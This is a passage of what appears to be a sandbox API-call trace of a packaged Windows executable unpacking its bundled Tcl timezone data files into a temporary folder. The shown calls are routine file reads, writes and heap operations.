"c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.096] GetFileType (hFile=0x10c) returned 0x1 [0039.096] htonl (hostlong=0xed7c5900) returned 0x597ced [0039.096] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e2ced, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.096] htonl (hostlong=0x8c000000) returned 0x8c [0039.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0039.096] htonl (hostlong=0x8c000000) returned 0x8c [0039.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.096] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.097] htonl (hostlong=0xbb000000) returned 0xbb [0039.097] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbb) returned 0x55db30 [0039.097] htonl (hostlong=0x8c000000) returned 0x8c [0039.097] htonl (hostlong=0xbb000000) returned 0xbb [0039.097] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.097] CloseHandle (hObject=0x10c) returned 1 [0039.097] GetLastError () returned 0x0 [0039.097] SetLastError (dwErrCode=0x0) [0039.097] GetLastError () returned 0x0 [0039.098] SetLastError (dwErrCode=0x0) [0039.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.098] GetFileType (hFile=0x10c) returned 0x1 [0039.098] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.098] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.098] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.098] CloseHandle (hObject=0x10c) returned 1 [0039.098] GetLastError () returned 0x0 [0039.098] SetLastError (dwErrCode=0x0) [0039.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.098] GetFileType (hFile=0x10c) returned 0x1 [0039.098] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.098] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.099] CloseHandle (hObject=0x10c) returned 1 [0039.099] GetLastError () returned 0x0 [0039.099] SetLastError (dwErrCode=0x0) [0039.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.099] GetFileType (hFile=0x10c) returned 0x1 [0039.099] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.099] CloseHandle (hObject=0x10c) returned 1 [0039.099] GetLastError () returned 0x0 [0039.099] SetLastError (dwErrCode=0x0) [0039.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kralendijk") returned 75 [0039.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kralendijk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kralendijk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.100] GetLastError () returned 0x2 [0039.100] SetLastError (dwErrCode=0x2) [0039.100] GetLastError () returned 0x2 [0039.100] SetLastError (dwErrCode=0x2) [0039.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kralendijk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kralendijk", lpFilePart=0x0) returned 0x4a [0039.100] GetLastError () returned 0x2 [0039.100] SetLastError (dwErrCode=0x2) [0039.100] GetLastError () returned 0x2 [0039.100] SetLastError (dwErrCode=0x2) [0039.100] GetLastError () returned 0x2 [0039.100] SetLastError (dwErrCode=0x2) [0039.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kralendijk") returned 75 [0039.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Kralendijk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\kralendijk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.101] GetFileType (hFile=0x10c) returned 0x1 [0039.101] htonl (hostlong=0xbb000000) returned 0xbb [0039.101] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.101] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbb, lpOverlapped=0x0) returned 1 [0039.102] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.102] CloseHandle (hObject=0x10c) returned 1 [0039.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55db30 | out: hHeap=0x530000) returned 1 [0039.103] htonl (hostlong=0x30000000) returned 0x30 [0039.103] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.103] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.103] GetFileType (hFile=0x10c) returned 0x1 [0039.103] htonl (hostlong=0x797d5900) returned 0x597d79 [0039.103] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e2d79, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.103] htonl (hostlong=0xa6000000) returned 0xa6 [0039.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa6) returned 0x544410 [0039.103] htonl (hostlong=0xa6000000) returned 0xa6 [0039.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.103] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.103] htonl (hostlong=0xd3000000) returned 0xd3 [0039.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd3) returned 0x550600 [0039.103] htonl (hostlong=0xa6000000) returned 0xa6 [0039.103] htonl (hostlong=0xd3000000) returned 0xd3 [0039.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544410 | out: hHeap=0x530000) returned 1 [0039.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.103] CloseHandle (hObject=0x10c) returned 1 [0039.104] GetLastError () returned 0x0 [0039.104] SetLastError (dwErrCode=0x0) [0039.104] GetLastError () returned 0x0 [0039.104] SetLastError (dwErrCode=0x0) [0039.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.104] GetFileType (hFile=0x10c) returned 0x1 [0039.104] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.104] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.104] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.104] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.104] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.104] CloseHandle (hObject=0x10c) returned 1 [0039.104] GetLastError () returned 0x0 [0039.104] SetLastError (dwErrCode=0x0) [0039.104] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.104] GetFileType (hFile=0x10c) returned 0x1 [0039.105] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.105] CloseHandle (hObject=0x10c) returned 1 [0039.105] GetLastError () returned 0x0 [0039.105] SetLastError (dwErrCode=0x0) [0039.105] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.105] GetFileType (hFile=0x10c) returned 0x1 [0039.105] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.105] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.105] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.105] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.106] CloseHandle (hObject=0x10c) returned 1 [0039.106] GetLastError () returned 0x0 [0039.106] SetLastError (dwErrCode=0x0) [0039.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\La_Paz") returned 71 [0039.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\La_Paz" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\la_paz"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.106] GetLastError () returned 0x2 [0039.106] SetLastError (dwErrCode=0x2) [0039.106] GetLastError () returned 0x2 [0039.106] SetLastError (dwErrCode=0x2) [0039.106] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\La_Paz", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\La_Paz", lpFilePart=0x0) returned 0x46 [0039.106] GetLastError () returned 0x2 [0039.106] SetLastError (dwErrCode=0x2) [0039.106] GetLastError () returned 0x2 [0039.106] SetLastError (dwErrCode=0x2) [0039.106] GetLastError () returned 0x2 [0039.106] SetLastError (dwErrCode=0x2) [0039.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\La_Paz") returned 71 [0039.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\La_Paz" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\la_paz"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.106] GetFileType (hFile=0x10c) returned 0x1 [0039.106] htonl (hostlong=0xd3000000) returned 0xd3 [0039.106] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.107] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd3, lpOverlapped=0x0) returned 1 [0039.107] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.107] CloseHandle (hObject=0x10c) returned 1 [0039.108] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.108] htonl (hostlong=0x30000000) returned 0x30 [0039.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.108] GetFileType (hFile=0x10c) returned 0x1 [0039.108] htonl (hostlong=0x1f7e5900) returned 0x597e1f [0039.108] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e2e1f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.109] htonl (hostlong=0xd7000000) returned 0xd7 [0039.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd7) returned 0x550600 [0039.109] htonl (hostlong=0xd7000000) returned 0xd7 [0039.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.109] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.109] htonl (hostlong=0xbf010000) returned 0x1bf [0039.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bf) returned 0x5506e0 [0039.109] htonl (hostlong=0xd7000000) returned 0xd7 [0039.109] htonl (hostlong=0xbf010000) returned 0x1bf [0039.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.109] HeapFree (in: 